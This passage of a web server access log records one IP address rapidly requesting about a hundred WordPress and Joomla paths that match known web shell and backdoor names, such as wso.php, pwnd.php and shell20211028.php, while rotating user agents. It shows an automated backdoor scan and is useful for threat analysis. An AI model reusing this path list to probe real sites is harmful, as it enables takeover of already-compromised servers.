/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:01 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:23:01 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:01 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:01 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:02 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:02 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:02 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:23:02 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:03 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:03 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:03 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:03 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:04 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:04 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:04 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:05 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:23:05 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:05 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:05 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:05 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:06 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:06 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:23:06 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:06 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:07 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:07 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:07 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:08 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:08 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:08 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:08 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:09 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:23:09 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:09 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:09 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:09 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:10 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:10 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:10 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:11 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:11 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:11 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:11 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:12 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:12 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:12 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:12 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:13 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:13 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:13 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:13 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:14 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:14 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:14 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:14 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:14 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:15 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:15 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:15 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:15 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:16 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:16 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:16 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:16 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:23:17 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:17 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:17 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:18 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:18 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:18 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:18 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:18 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:19 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:19 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:19 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:19 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:20 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:20 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:20 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:23:20 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:21 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:21 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:21 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:21 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:23:22 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:23:22 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:23:22 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:22 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:22 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:23 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:23 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:23 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:23 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:23:24 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:23:24 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:24 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:23:24 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:25 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:25 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:26 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:26 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:26 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:26 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:26 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:27 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:27 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:27 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:28 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:28 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:28 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:28 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:28 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:29 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - 